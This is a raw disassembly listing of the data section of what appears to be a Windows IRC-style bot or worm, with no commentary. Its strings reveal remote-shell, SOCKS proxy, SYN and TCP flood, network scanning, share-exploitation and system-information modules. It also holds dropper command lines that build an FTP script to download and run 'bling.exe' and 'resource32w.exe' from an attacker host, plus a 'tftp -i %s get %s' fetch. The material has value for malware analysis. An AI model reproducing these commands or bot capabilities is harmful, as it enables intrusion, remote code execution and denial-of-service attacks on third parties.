.text:loc_411020o ; sub_412B6A:loc_412C0Bo a2k3 db '2K3',0 ; DATA XREF: .text:00411019o aXp_0 db 'XP',0 ; DATA XREF: .text:0041100Eo ; sub_412B6A+8Bo align 4 a2k db '2K',0 ; DATA XREF: .text:00411001o ; sub_412B6A+7Co align 4 aMe_0 db 'ME',0 ; DATA XREF: .text:00410FEEo ; sub_412B6A+68o align 10h a98 db '98',0 ; DATA XREF: .text:00410FE1o ; sub_412B6A+59o align 4 aNt db 'NT',0 ; DATA XREF: .text:00410FD4o ; sub_412B6A+4Ao align 4 a95 db '95',0 ; DATA XREF: .text:00410FC9o ; sub_412B6A+39o align 4 aDS db '[%d]%s',0 ; DATA XREF: sub_411072+3Ao align 4 aM_0 db '[M]',0 ; DATA XREF: sub_411072+2Co ; sub_411072+51o aScanIpSPortD_0 db '[SCAN]: IP: %s Port: %d is open.',0 ; DATA XREF: sub_4111A1+85o align 4 aScanScanningIp db '[SCAN]: Scanning IP: %s, Port: %d.',0 ; DATA XREF: sub_411263+40o align 10h aD_2 db 'D:\',0 ; DATA XREF: .text:0043024Co aD_3 db 'D$',0 ; DATA XREF: .text:00430248o align 4 aC_2 db 'C:\',0 ; DATA XREF: .text:00430244o aC_3 db 'C$',0 ; DATA XREF: .text:00430240o align 10h aAdmin_0 db 'ADMIN$',0 ; DATA XREF: .text:00430238o align 4 aIpc_0 db 'IPC$',0 ; DATA XREF: .text:off_430230o align 10h aSecureNetapi32 db '[SECURE]: Netapi32.dll couldn',27h,'t be loaded.',0 ; DATA XREF: sub_411329+2E8o ; sub_411650+2DAo align 4 aSecureNetworkS db '[SECURE]: Network shares deleted.',0 ; DATA XREF: sub_411329+2D2o align 10h aSecureFailed_4 db '[SECURE]: Failed to delete ',27h,'%S',27h,' share.',0 ; DATA XREF: sub_411329:loc_411594o align 4 aSecureShareS_0 db '[SECURE]: Share ',27h,'%S',27h,' deleted.',0 ; DATA XREF: sub_411329+264o align 4 aSecureFailed_3 db '[SECURE]: Failed to delete ',27h,'%s',27h,' share.',0 ; DATA XREF: sub_411329:loc_411504o align 10h aSecureShareSDe db '[SECURE]: Share ',27h,'%s',27h,' deleted.',0 ; DATA XREF: sub_411329+1D4o align 10h aSecureAdvapi32 db '[SECURE]: Advapi32.dll couldn',27h,'t be loaded.',0 ; DATA XREF: sub_411329:loc_41145Co ; sub_411650:loc_41177Fo align 4 aSecureFailed_2 db '[SECURE]: Failed to open IPC$ Restriction registry key.',0 ; DATA XREF: sub_411329:loc_411455o aSecureRestrict db '[SECURE]: Restricted access to the IPC$ Share.',0 ; DATA XREF: sub_411329:loc_41143Do align 4 aSecureFailed_1 db '[SECURE]: Failed to restrict access to the IPC$ Share.',0 ; DATA XREF: sub_411329+10Do align 4 aRestrictanonym db 'restrictanonymous',0 ; DATA XREF: sub_411329+EEo ; sub_411650+EEo align 10h aSecureFailed_0 db '[SECURE]: Failed to open DCOM registry key.',0 ; DATA XREF: sub_411329+92o ; sub_411650+92o aSecureDcomDisa db '[SECURE]: DCOM disabled.',0 ; DATA XREF: sub_411329:loc_41139Do align 4 aSecureDisableD db '[SECURE]: Disable DCOM failed.',0 ; DATA XREF: sub_411329+6Do align 4 aEnabledcom db 'EnableDCOM',0 ; DATA XREF: sub_411329+55o ; sub_411650+55o align 4 aSecureNetwor_0 db '[SECURE]: Network shares added.',0 ; DATA XREF: sub_411650+2C2o aC_0 db '%c:\',0 ; DATA XREF: sub_411650+22Co align 4 aC_1 db '%c$',0 ; DATA XREF: sub_411650+21Bo aSecureFailed_7 db '[SECURE]: Failed to add ',27h,'%s',27h,' share.',0 ; DATA XREF: sub_411650:loc_4117FEo ; sub_411650:loc_4118C5o aSecureShareSAd db '[SECURE]: Share ',27h,'%s',27h,' added.',0 ; DATA XREF: sub_411650+1A7o ; sub_411650+26Eo aSecureFailed_6 db '[SECURE]: Failed to open IPC$ restriction registry key.',0 ; DATA XREF: sub_411650:loc_411778o aSecureUnrestri db '[SECURE]: Unrestricted access to the IPC$ Share.',0 ; DATA XREF: sub_411650:loc_411760o align 4 aSecureFailed_5 db '[SECURE]: Failed to unrestrict access to the IPC$ Share.',0 ; DATA XREF: sub_411650+109o align 4 aSecureDcomEnab db '[SECURE]: DCOM enabled.',0 ; DATA XREF: sub_411650:loc_4116C4o aSecureEnableDc db '[SECURE]: Enable DCOM failed.',0 ; DATA XREF: sub_411650+6Do align 10h aRlogindFaile_2 db '[RLOGIND]: Failed to execute shell, error: <%d>.',0 ; DATA XREF: sub_4119DF+B7o align 4 aCmdQ db 'cmd /q',0 ; DATA XREF: sub_4119DF+80o align 4 aRlogindSession db '[RLOGIND]: SessionReadShellThread exited, error: <%ld>.',0 ; DATA XREF: sub_411AAB+89o aRlogindFaile_5 db '[RLOGIND]: Failed to execute shell.',0 ; DATA XREF: sub_411C5D+B2o aRlogindFaile_4 db '[RLOGIND]: Failed to create shell stdin pipe, error: <%d>.',0 ; DATA XREF: sub_411C5D+82o align 4 aRlogindFaile_3 db '[RLOGIND]: Failed to create shell stdout pipe, error: <%d>.',0 ; DATA XREF: sub_411C5D+5Fo aRlogindWaitfor db '[RLOGIND]: WaitForMultipleObjects error: <%d>.',0 ; DATA XREF: sub_411D59+E2o align 10h aRlogindFaile_6 db '[RLOGIND]: Failed to create ReadShell session thread, error: <%d>' ; DATA XREF: sub_411D59+59o ; sub_411D59+8Fo db '.',0 align 4 aSocks4ErrorF_0 db '[SOCKS4]: Error: Failed to connect to target, returned: <%d>.',0 ; DATA XREF: sub_41225E+1A7o align 4 aSocks4ErrorFai db '[SOCKS4]: Error: Failed to open socket(), returned: <%d>.',0 ; DATA XREF: sub_41225E+187o align 10h aSocks4Authenti db '[SOCKS4]: Authentication failed. Remote userid: %s != %s.',0 ; DATA XREF: sub_41225E+F6o align 4 aSocks4Failed_1 db '[SOCKS4]: Failed to start server on Port %d.',0 ; DATA XREF: sub_41248E+1A1o align 4 aSocks4Failed_0 db '[SOCKS4]: Failed to start client thread, error: <%d>.',0 ; DATA XREF: sub_41248E+16Co align 4 aSocks4ClientCo db '[SOCKS4]: Client connection from IP: %s:%d, Server thread: %d.',0 ; DATA XREF: sub_41248E+107o align 4 aSynSendErrorD_ db '[SYN]: Send error: <%d>.',0 ; DATA XREF: sub_41267A+242o align 10h aSynDoneWithFlo db '[SYN]: Done with flood (%iKB/sec).',0 ; DATA XREF: sub_41294E+48o align 4 aDdDhDm db '%dd %dh %dm',0 ; DATA XREF: sub_4129E9+39o aSysinfoCpuI64u db '[SYSINFO]: [CPU]: %I64uMHz. [RAM]: %sKB total, %sKB free. [Disk]:' ; DATA XREF: sub_412B6A+247o db ' %s total, %s free. [OS]: Windows %s (%d.%d, Build %d). [Sysdir]:' db ' %s. [Hostname]: %s (%s). [Current User]: %s. [Date]: %s. [Time]:' db ' %s. [Uptime]: %s.',0 align 4 aDdMmmYyyy db 'dd:MMM:yyyy',0 ; DATA XREF: sub_412B6A+161o aCouldnTResolve db 'couldn',27h,'t resolve host',0 ; DATA XREF: sub_412B6A:loc_412C9Do align 4 aSS_5 db '%s (%s)',0 ; DATA XREF: sub_412B6A+C0o aNetinfoTypeSS_ db '[NETINFO]: [Type]: %s (%s). [IP Address]: %s. [Hostname]: %s.',0 ; DATA XREF: sub_412DD1+99o align 4 off_42B6D4 dd offset loc_412F4C+2 ; DATA XREF: sub_412DD1+67o dword_42B6D8 dd 4E414Ch dword_42B6DC dd 6C616944h, 70752Dhdword_42B6E4 dd 20746F4Eh, 6E6E6F63h, 65746365h, 64h, 0aTcpErrorSendin db '[TCP]: Error sending packets to IP: %s. Packets sent: %d. Returne' ; DATA XREF: sub_412E87+3C5o db 'd: <%d>.',0 align 8 aTcpDoneWithSFl db '[TCP]: Done with %s flood to IP: %s. Sent: %d packet(s) @ %dKB/se' ; DATA XREF: sub_412E87+35Bo db 'c (%dMB).',0 align 4 aTcpInvalidTarg db '[TCP]: Invalid target IP.',0 ; DATA XREF: sub_412E87+CBo align 10h aTcpErrorSetsoc db '[TCP]: Error: setsockopt() failed, returned: <%d>.',0 ; DATA XREF: sub_412E87+ACo align 4 aTcpErrorSocket db '[TCP]: Error: socket() failed, returned: <%d>.',0 ; DATA XREF: sub_412E87+67o align 4 dword_42B814 dd 4000500h, 7868746Bh, 0aTftpFileTran_0 db '[TFTP]: File transfer complete to IP: %s (%s).',0 ; DATA XREF: sub_41326A+44Co align 10h aTftpFileNotFou db '[TFTP]: File not found: %s (%s).',0 ; DATA XREF: sub_41326A+395o align 4 dword_42B874 dd 1000500h, 656C6946h, 746F4E20h, 756F4620h, 646Eh ; DATA XREF: sub_41326A+379o aTftpFileTransf db '[TFTP]: File transfer started to IP: %s (%s).',0 ; DATA XREF: sub_41326A+324o align 4 aTftpFailedToOp db '[TFTP]: Failed to open file: %s.',0 ; DATA XREF: sub_41326A+14Do align 4 aTftpErrorSocke db '[TFTP]: Error: socket() failed, returned: <%d>.',0 ; DATA XREF: sub_41326A+6Co aOctet db 'octet',0 ; DATA XREF: sub_41326A+11o align 4 aThreadList db '-[Thread List]-',0 ; DATA XREF: sub_41379D+10o aSNoSThreadFoun db '%s: No %s thread found.',0 ; DATA XREF: sub_413968+51o aSSStopped_DThr db '%s: %s stopped. (%d thread(s) stopped.)',0 ; DATA XREF: sub_413968+35o aVisitFailedToG db '[VISIT]: Failed to get requested URL from HTTP server.',0 ; DATA XREF: sub_413A7D:loc_413C19o align 4 aVisitUrlVisite db '[VISIT]: URL visited.',0 ; DATA XREF: sub_413A7D+195o align 4 aVisitFailedToC db '[VISIT]: Failed to connect to HTTP server.',0 ; DATA XREF: sub_413A7D+17Fo align 10h aVisitCouldNotO db '[VISIT]: Could not open a connection.',0 ; DATA XREF: sub_413A7D+150o align 4 aVisitInvalidUr db '[VISIT]: Invalid URL.',0 ; DATA XREF: sub_413A7D+ABo align 10h asc_42BA20 db '*/*',0 ; DATA XREF: sub_413A7D+68o aSExploitingIpS db '[%s]: Exploiting IP: %s.',0 ; DATA XREF: sub_413C88+2B8o ; .text:0041487Fo ... align 10h aHostSContentTy db 'Host: %s',0Dh,0Ah ; DATA XREF: sub_413C88+1BAo db 'Content-Type: text/xml',0Dh,0Ah db 'Content-Length: %d',0Dh,0Ah db 0Dh,0Ah,0 align 4 aHttp1_1 db ' HTTP/1.1',0Dh,0Ah,0 ; DATA XREF: sub_413C88+183o aSearch db 'SEARCH /',0 ; DATA XREF: sub_413C88+CCo align 4 dword_42BA94 dd 0 asc_42BA98: ; DATA XREF: sub_414199+17o ; sub_414277+17o unicode 0, <\\>,0 align 10h aIpc: ; DATA XREF: sub_414199+Co ; sub_414277+Co unicode 0, <\IPC$>,0 aTftpFileTran_1 db '[TFTP]: File transfer complete to IP: %s',0 ; DATA XREF: .text:00414832o ; .text:00414A65o align 4 aSPipeEpmapper db '\\%s\pipe\epmapper',0 ; DATA XREF: .text:004145DDo align 10h aEchoOpenSDOEch db 'echo open %s %d > o&echo user 1 1 >> o &echo get bling.exe >> o &' ; DATA XREF: .text:00414CFFo db 'echo quit >> o &ftp -n -s:o &bling.exe',0Dh,0Ah,0 align 4 aTftpISGetS db 'tftp -i %s get %s',0Dh,0Ah,0 ; DATA XREF: .text:00414CD5o aNilsisgay db 'NILSISGAY!!',0 ; DATA XREF: .text:00414BA6o ; --------------------------------------------------------------------------- loc_42BB7C: ; DATA XREF: .text:00414B93o jmp short loc_42BB8D ; --------------------------------------------------------------------------- align 10h dword_42BB80 dd 2016280h, 100BDh, 8F160001h db 82h ; --------------------------------------------------------------------------- loc_42BB8D: ; CODE XREF: .text:loc_42BB7Cj add [eax], eax ; --------------------------------------------------------------------------- db 0 dd 0 dword_42BB94 dd 255C3A63h, 78652E73h, 65haEchoOpenSDOE_0 db 'echo open %s %d>o&echo USER a>>o&echo a>>o&echo binary>>o&echo ge' ; DATA XREF: sub_415175+8Bo ; .text:00415E25o db 't resource32w.exe>>o&echo quit>>o&ftp -n -s:o&del o&resource32w.e' db 'xe',0Dh,0Ah,0 align 4 aSIpc db '\\%s\ipc$',0 ; DATA XREF: sub_4152B5+27o ; .text:004158EEo align 4 dword_42BC34 dd 1CEC8166h ; .text:0041589Ar dword_42BC38 dd 0E4FF07h ; .text:004158A4r aSTryingToXploi db '[%s]: Trying to Xploit IP: %s.',0 ; DATA XREF: .text:00415E9Co align 4 aSExploitingI_0 db '[%s]: Exploiting IP: %s, Share: \%s, User: (%s/%s)',0 ; DATA XREF: sub_415F00+206o align 10h aNoPassword db '(no password)',0 ; DATA XREF: sub_415F00+1E4o align 10h aSSS_3 db '%s\%s\%s',0 ; DATA XREF: sub_415F00+CBo align 4 aCWindowsSystem db 'c$\windows\system32',0 ; DATA XREF: sub_415F00+6Co aCWinntSystem32 db 'c$\winnt\system32',0 ; DATA XREF: sub_415F00+65o align 4 aAdminSystem32 db 'Admin$\system32',0 ; DATA XREF: sub_415F00+5Eo aSIpc_0 db '%s\ipc$',0 ; DATA XREF: .text:00416233o aS_5 db '\\%s',0 ; DATA XREF: .text:004161F5o align 4 a100m db '100',0Dh,0Ah,0 ; DATA XREF: .text:00416780o align 4 a001merrorExecu db '001Error Executing File',0Dh,0Ah,0 ; DATA XREF: .text:00416768o align 4 a008mcA_exe db '008C:\a.exe',0Dh,0Ah,0 ; DATA XREF: .text:00416737o align 4 aOkRcvd db '+OK RCVD',0 ; DATA XREF: .text:00416716o align 4 aOkRedy db '+OK REDY',0 ; DATA XREF: .text:004166AFo align 10h aCA_exeD db 'C:\a.exe',0Dh,0Ah ; DATA XREF: .text:0041665Fo db '%d',0Dh,0Ah,0 align 10h a020m db '020',0Dh,0Ah,0 ; DATA XREF: .text:0041657Ao align 4 a019m db '019',0Dh,0Ah,0 ; DATA XREF: .text:0041654Do align 10h a022mmv1_2 db '022v1.2',0Dh,0Ah,0 ; DATA XREF: .text:loc_4164E8o a022mmv1_1 db '022v1.1',0Dh,0Ah,0 ; DATA XREF: .text:004164E1o a001m db '001',0 ; DATA XREF: .text:004164C4o ; .text:00416534o align 10h a001myourClient db '001Your client version is outdated!',0 ; DATA XREF: .text:00416486o align 4 a022moptestmv_0 db '022OPtestv1.2',0Dh,0Ah,0 ; DATA XREF: .text:loc_416434o align 4 a022moptestmv1_ db '022OPtestv1.1',0Dh,0Ah,0 ; DATA XREF: .text:0041642Do align 10h stru_42BDD0 _msEH <0FFFFFFFFh, 0, offset sub_416D5A> ; DATA XREF: sub_416D07+2o align 10h stru_42BDE0 _msEH <0FFFFFFFFh, 0, offset sub_416DE7> ; DATA XREF: sub_416D78+2o align 10h stru_42BDF0 _msEH <0FFFFFFFFh, 0, offset sub_416EC3> ; DATA XREF: sub_416E7D+2o align 10h stru_42BE00 _msEH <0FFFFFFFFh, 0, offset sub_416FF9> ; DATA XREF: sub_416FB7+2o align 10h stru_42BE10 _msEH <0FFFFFFFFh, 0, offset sub_417163> ; DATA XREF: sub_417003+2o align 10h stru_42BE20 _msEH <0FFFFFFFFh, 0, offset sub_417202> ; DATA XREF: sub_4171B0+2o align 10h stru_42BE30 _msEH <0FFFFFFFFh, offset loc_417564, offset loc_417568> ; DATA XREF: sub_4174C6+2o align 10h stru_42BE40 _msEH <0FFFFFFFFh, 0, offset sub_4178F8> ; DATA XREF: sub_4178A4+2o align 10h stru_42BE50 _msEH <0FFFFFFFFh, 0, offset sub_418262> ; DATA XREF: sub_4181E7+2o aCorexitprocess db 'CorExitProcess',0 ; DATA XREF: sub_4182A9+Fo align 4 aMscoree_dll db 'mscoree.dll',0 ; DATA XREF: sub_4182A9o stru_42BE78 _msEH <0FFFFFFFFh, 0, offset sub_418626> ; DATA XREF: sub_4185E7+2o ; sub_418A1C+53r align 8 stru_42BE88 _msEH <0FFFFFFFFh, offset loc_41883B, offset loc_41884F> ; DATA XREF: .text:004186A5o align 8 byte_42BE98 db 6 ; DATA XREF: sub_418A1C:loc_418A7Dr db 2 dup(0), 6 dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h dd 50h, 38282000h, 8075850h, 30303700h, 75057h, 8202000h dd 0 dd 60686008h, 606060h, 78707000h, 8787878h, 807h, 8080007h dd 8000008h, 7000800h, 8 aNull: ; DATA XREF: .text:off_43238Co unicode 0, <(null)>,0 align 4 aNull_1 db '(null)',0 ; DATA XREF: .text:off_432388o align 10h stru_42BF10 _msEH <0FFFFFFFFh, offset loc_41979A, offset loc_41979E> ; DATA XREF: sub_4192C5+5o align 10h aHH: unicode 0, < h(((( H> dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h) dd 3 dup(1810181h), 0Ah dup(1010101h), 3 dup(100010h) dd 3 dup(1820182h), 0Ah dup(1020102h), 2 dup(100010h) dd 20h, 4030201h, 8070605h, 0C0B0A09h, 100F0E0Dh, 14131211h dd 18171615h, 1C1B1A19h, 201F1E1Dh, 24232221h, 28272625h dd 2C2B2A29h, 302F2E2Dh, 34333231h, 38373635h, 3C3B3A39h dd 403F3E3Dh, 44434241h, 48474645h, 4C4B4A49h, 504F4E4Dh dd 54535251h, 58575655h, 5C5B5A59h, 605F5E5Dh, 64636261h dd 68676665h, 6C6B6A69h, 706F6E6Dh, 74737271h, 78777675h dd 7C7B7A79h, 7F7E7Dh stru_42C0A0 _msEH <0FFFFFFFFh, 0, offset sub_41A030> ; DATA XREF: sub_419FFE+2o align 10h stru_42C0B0 _msEH <0FFFFFFFFh, 0, offset sub_41AE8A> ; DATA XREF: sub_41AE16+2o align 10h stru_42C0C0 _msEH <0FFFFFFFFh, 0, offset sub_41B033> ; DATA XREF: sub_41AF67+2o dd 2 dup(0) dd offset sub_41B002 stru_42C0D8 _msEH <0FFFFFFFFh, 0, offset sub_41B4D8> ; DATA XREF: sub_41B454+2o align 8 stru_42C0E8 _msEH <0FFFFFFFFh, 0, offset sub_41BB40> ; DATA XREF: sub_41BA2A+2o align 8 dbl_42C0F8 dq 0.0 ; DATA XREF: sub_41BBD3+6r dword_42C100 dd 30302B65h, 30hdbl_42C108 dq 1.0 ; DATA XREF: sub_41BF71+2Ar dbl_42C110 dq 4.195835e6 ; DATA XREF: sub_41BF71+Fr dbl_42C118 dq 3.145727e6 ; DATA XREF: sub_41BF71+6r aIsprocessorfea db 'IsProcessorFeaturePresent',0 ; DATA XREF: sub_41BFB1+Fo align 4 aKernel32 db 'KERNEL32',0 ; DATA XREF: sub_41BFB1o align 4 dword_42C148 dd 2 dup(0) ; sub_41E950+1Eo ... stru_42C150 _msEH <0FFFFFFFFh, offset loc_41C4A2, offset loc_41C4A6> ; DATA XREF: sub_41C1A9+2o dd 0FFFFFFFFh, 41C29Fh, 41C2A3h, 0FFFFFFFFh, 41C36Dh, 41C371h dd 0 db 2 dup(0) word_42C17A dw 20h ; DATA XREF: sub_4208E4+18r ; .text:004323F0o ... unicode 0, < ((((( H> dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h) dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h) dd 0Ah dup(20002h), 2 dup(100010h), 20h, 41h dup(0) db 2 dup(0) word_42C382 dw 20h ; DATA XREF: .text:off_432A64o aHH_0: unicode 0, < h(((( H> dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h) dd 3 dup(1810181h), 0Ah dup(1010101h), 3 dup(100010h) dd 3 dup(1820182h), 0Ah dup(1020102h), 2 dup(100010h) dd 10h dup(200020h), 480020h, 8 dup(100010h), 140010h dd 100014h, 2 dup(100010h), 100014h, 2 dup(100010h), 1010010h dd 0Bh dup(1010101h), 1010010h, 3 dup(1010101h), 0Ch dup(1020102h) dd 1020010h, 3 dup(1020102h), 1010102h, 0 stru_42C588 _msEH <0FFFFFFFFh, offset sub_41C582, offset loc_41C586> ; DATA XREF: sub_41C596-2Fo align 8 stru_42C598 _msEH <0FFFFFFFFh, 0, offset sub_41C770> ; DATA XREF: sub_41C6C3+2o align 8 dd offset loc_41C736 dd offset loc_41C73F stru_42C5B0 _msEH <0FFFFFFFFh, offset sub_41C7C5, offset loc_41C7CE> ; DATA XREF: sub_41C791+2o align 10h stru_42C5C0 _msEH <0FFFFFFFFh, 0, offset sub_41C930> ; DATA XREF: sub_41C7F3+2o align 10h dd offset loc_41C878 dd offset loc_41C8BB stru_42C5D8 _msEH <0FFFFFFFFh, offset sub_41CB0A, offset loc_41CB0E> ; DATA XREF: sub_41C99A+2o align 8 stru_42C5E8 _msEH <0FFFFFFFFh, offset loc_41CEE6, offset loc_41CEEA> ; DATA XREF: sub_41CEC1+2o align 8 stru_42C5F8 _msEH <0FFFFFFFFh, offset loc_41CF13, offset loc_41CF17> ; DATA XREF: sub_41CEF6+2o align 8 stru_42C608 _msEH <0FFFFFFFFh, 0, offset sub_41D1C9> ; DATA XREF: sub_41D166+2o align 8 stru_42C618 _msEH <0FFFFFFFFh, 0, offset sub_41D4B2> ; DATA XREF: sub_41D36B+2o align 8 stru_42C628 _msEH <0FFFFFFFFh, 0, offset sub_41D646> ; DATA XREF: sub_41D614+2o align 8 stru_42C638 _msEH <0FFFFFFFFh, offset loc_41D68B, offset loc_41D68F> ; DATA XREF: sub_41D65E+2o align 8 stru_42C648 _msEH <0FFFFFFFFh, offset loc_41D6CF, offset loc_41D6D3> ; DATA XREF: sub_41D6A2+2o align 8 stru_42C658 _msEH <0FFFFFFFFh, 0, offset sub_41D7DE> ; DATA XREF: sub_41D75A+2o dd 746E7572h, 20656D69h, 6F727265h, 2072h, 534F4C54h, 72652053h dd 0D726F72h, 0Ah, 474E4953h, 72726520h, 0A0D726Fh, 0 dd 414D4F44h, 65204E49h, 726F7272h, 0A0Dh, 32303652h, 2D0A0D38h dd 616E7520h, 20656C62h, 69206F74h, 6974696Eh, 7A696C61h dd 65682065h, 0A0D7061h, 0 aR6027NotEnough db 'R6027',0Dh,0Ah db '- not enough space for lowio initialization',0Dh,0Ah,0 align 4 aR6026NotEnough db 'R6026',0Dh,0Ah db '- not enough space for stdio initialization',0Dh,0Ah,0 align 4 aR6025PureVirtu db 'R6025',0Dh,0Ah db '- pure virtual function call',0Dh,0Ah,0 align 4 aR6024NotEnough db 'R6024',0Dh,0Ah db '- not enough space for _onexit/atexit table',0Dh,0Ah,0 align 4 aR6019UnableToO db 'R6019',0Dh,0Ah db '- unable to open console device',0Dh,0Ah,0 align 4 aR6018Unexpecte db 'R6018',0Dh,0Ah db '- unexpected heap error',0Dh,0Ah,0 align 4 aR6017Unexpecte db 'R6017',0Dh,0Ah db '- unexpected multithread lock error',0Dh,0Ah,0 align 4 aR6016NotEnough db 'R6016',0Dh,0Ah db '- not enough space for thread data',0Dh,0Ah,0 aThisApplicatio db 0Dh,0Ah db 'This application has requested the Runtime to terminate it in an ' db 'unusual way.',0Ah db 'Please contact the application',27h,'s support team for more informa' db 'tion.',0Dh,0Ah,0 align 10h aR6009NotEnough db 'R6009',0Dh,0Ah db '- not enough space for environment',0Dh,0Ah,0 aR6008NotEnough db 'R6008',0Dh,0Ah db '- not enough space for arguments',0Dh,0Ah,0 align 4 aR6002FloatingP db 'R6002',0Dh,0Ah ; DATA XREF: .text:off_432B7Co db '- floating point not loaded',0Dh,0Ah,0 align 10h aMicrosoftVisua db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: sub_41D967+12Co ; sub_42055D+134o align 4 asc_42C988 db 0Ah ; DATA XREF: sub_41D967+110o ; sub_42055D+101o db 0Ah,0 align 4 aRuntimeErrorPr db 'Runtime Error!',0Ah ; DATA XREF: sub_41D967+FEo db 0Ah db 'Program: ',0 align 4 a___ db '...',0 ; DATA XREF: sub_41D967+CAo ; sub_42055D+D1o aProgramNameUnk db '<program name unknown>',0 ; DATA XREF: sub_41D967+89o ; sub_42055D+88o align 8 stru_42C9C8 _msEH <0FFFFFFFFh, 0, offset sub_41E502> ; DATA XREF: sub_41E47E+2o align 8 stru_42C9D8 _msEH <0FFFFFFFFh, 0, offset sub_41E6C5> ; DATA XREF: sub_41E61E+2o align 8 stru_42C9E8 _msEH <0FFFFFFFFh, offset loc_41EA29, offset loc_41EA2D> ; DATA XREF: sub_41E950+2o aDdddMmmmDdYyyy db 'dddd, MMMM dd, yyyy',0 ; DATA XREF: .text:00432D6Co aMmDdYy db 'MM/dd/yy',0 align 4 aDecember db 'December',0 align 10h aNovember db 'November',0 align 4 aOctober db 'October',0 aSeptember db 'September',0 align 10h aAugust db 'August',0 align 4 aJuly db 'July',0 align 10h aJune db 'June',0 align 4 aApril db 'April',0 align 10h aMarch db 'March',0 align 4 aFebruary db 'February',0 align 4 aJanuary db 'January',0 aDec db 'Dec',0 aNov db 'Nov',0 aOct db 'Oct',0 aSep db 'Sep',0 aAug db 'Aug',0 aJul db 'Jul',0 aJun db 'Jun',0 aMay db 'May',0 aApr db 'Apr',0 aMar db 'Mar',0 aFeb db 'Feb',0 aJan db 'Jan',0 aSaturday db 'Saturday',0 align 4 aFriday db 'Friday',0 align 10h aThursday db 'Thursday',0 align 4 aWednesday db 'Wednesday',0 align 4 aTuesday db 'Tuesday',0 aMonday db 'Monday',0 ; DATA XREF: .text:00432CE8o align 4 aSunday db 'Sunday',0 ; DATA XREF: .text:00432CE4o align 10h aSat db 'Sat',0 ; DATA XREF: .text:00432CE0o aFri db 'Fri',0 ; DATA XREF: .text:00432CDCo aThu db 'Thu',0 aWed db 'Wed',0 aTue db 'Tue',0 ; DATA XREF: .text:00432CD0o aMon db 'Mon',0 ; DATA XREF: .text:00432CCCo aSun db 'Sun',0 ; DATA XREF: .text:off_432CC8o aInitializecrit db 'InitializeCriticalSectionAndSpinCount',0 ; DATA XREF: sub_41EFD0+2Do align 8 stru_42CB38 _msEH <0FFFFFFFFh, offset loc_41F02D, offset loc_41F03B> ; DATA XREF: sub_41EFD0+2o align 8 stru_42CB48 _msEH <0FFFFFFFFh, 0, offset sub_41F83B> ; DATA XREF: sub_41F79E+2o align 8 stru_42CB58 _msEH <0FFFFFFFFh, 0, offset sub_41F8EC> ; DATA XREF: sub_41B0EE+476Eo align 8 stru_42CB68 _msEH <0FFFFFFFFh, 0, offset sub_41FC21> ; DATA XREF: sub_41FBDC+2o align 8 stru_42CB78 _msEH <0FFFFFFFFh, offset loc_42040D, offset loc_420411> ; DATA XREF: sub_420338+2o dword_42CB84 dd 676F7250h, 3A6D6172h, 20haABufferOverrun db 'A buffer overrun has been detected which has corrupted the progra' ; DATA XREF: sub_42055D+62o db 'm',27h,'s',0Ah db 'internal state. The program cannot safely continue execution and' db ' must',0Ah db 'now be terminated.',0Ah,0 aBufferOverrunD db 'Buffer overrun detected!',0 ; DATA XREF: sub_42055D:loc_4205BAo align 10h aASecurityError db 'A security error of unknown cause has been detected which has',0Ah ; DATA XREF: sub_42055D+4Fo db 'corrupted the program',27h,'s internal state. The program cannot sa' db 'fely',0Ah db 'continue execution and must now be terminated.',0Ah,0 align 4 aUnknownSecurit db 'Unknown security failure detected!',0 ; DATA XREF: sub_42055D+4Ao align 4 stru_42CD28 _msEH <0FFFFFFFFh, offset loc_420598, offset loc_42059C> ; DATA XREF: sub_42055D+5o align 8 stru_42CD38 _msEH <0FFFFFFFFh, 0, offset sub_4207DF> ; DATA XREF: sub_420775+2o aGetprocesswind db 'GetProcessWindowStation',0 ; DATA XREF: sub_4207EB+73o aGetuserobjecti db 'GetUserObjectInformationA',0 ; DATA XREF: sub_4207EB+62o align 4 aGetlastactivep db 'GetLastActivePopup',0 ; DATA XREF: sub_4207EB+47o align 4 aGetactivewindo db 'GetActiveWindow',0 ; DATA XREF: sub_4207EB+3Fo aMessageboxa db 'MessageBoxA',0 ; DATA XREF: sub_4207EB+2Eo aSunmontuewedth db 'SunMonTueWedThuFriSat',0 align 10h aJanfebmaraprma db 'JanFebMarAprMayJunJulAugSepOctNovDec',0 align 4 a1Qnan db '1#QNAN',0 ; DATA XREF: sub_421131:loc_421220o align 10h a1Inf db '1#INF',0 ; DATA XREF: sub_421131+D2o align 4 a1Ind db '1#IND',0 ; DATA XREF: sub_421131+C1o align 10h a1Snan db '1#SNAN',0 ; DATA XREF: sub_421131+A7o align 4 stru_42CE08 _msEH <0FFFFFFFFh, 0, offset sub_421526> ; DATA XREF: sub_4213F3+2o align 8 stru_42CE18 _msEH <0FFFFFFFFh, offset loc_421B60, offset loc_421B64> ; DATA XREF: sub_421A4A+2o dd 0FFFFFFFFh, 421BEDh, 421BF1h stru_42CE30 _msEH <0FFFFFFFFh, offset loc_421DF1, offset loc_421DF5> ; DATA XREF: sub_421CFA+2o dd 0FFFFFFFFh, 421E63h, 421E67h, 0 dword_42CE4C dd 2 dup(0) ; sub_41D65E:loc_41D671o dword_42CE54 dd 0 ; sub_41D6A2:loc_41D6B5o dd 0FFFFFFFFh, 421F1Fh dword_42CE60 dd 19930520h, 1, 42CE58h, 4 dup(0) dd 2CEB8h, 2 dup(0) dd 2D680h, 22000h, 2D098h, 2 dup(0) dd 2D68Eh, 221E0h, 5 dup(0) dd 7C802442h, 7C80929Ch, 7C910331h, 7C810637h, 7C80B4CFh dd 7C80C058h, 7C9010EDh, 7C901005h, 7C80B829h, 7C91188Ah dd 7C80A7D4h, 7C809B47h, 7C810D87h, 7C801A24h, 7C80A427h dd 7C82FA46h, 7C81CDDAh, 7C802367h, 7C814EEAh, 7C80EDD7h dd 7C834EB1h, 7C8137D9h, 7C91043Dh, 7C9105D4h, 7C80ABC1h dd 7C80E7ECh, 7C80E866h, 7C80B9A0h, 7C8021CCh, 7C812D56h dd 7C8309E1h, 7C80ABDEh, 7C80F0F4h, 7C80ADA0h, 7C801D77h dd 7C80180Eh, 7C810B8Eh, 7C810A77h, 7C83632Dh, 7C8361EEh dd 7C81153Ch, 7C80B6A1h, 7C82F7A0h, 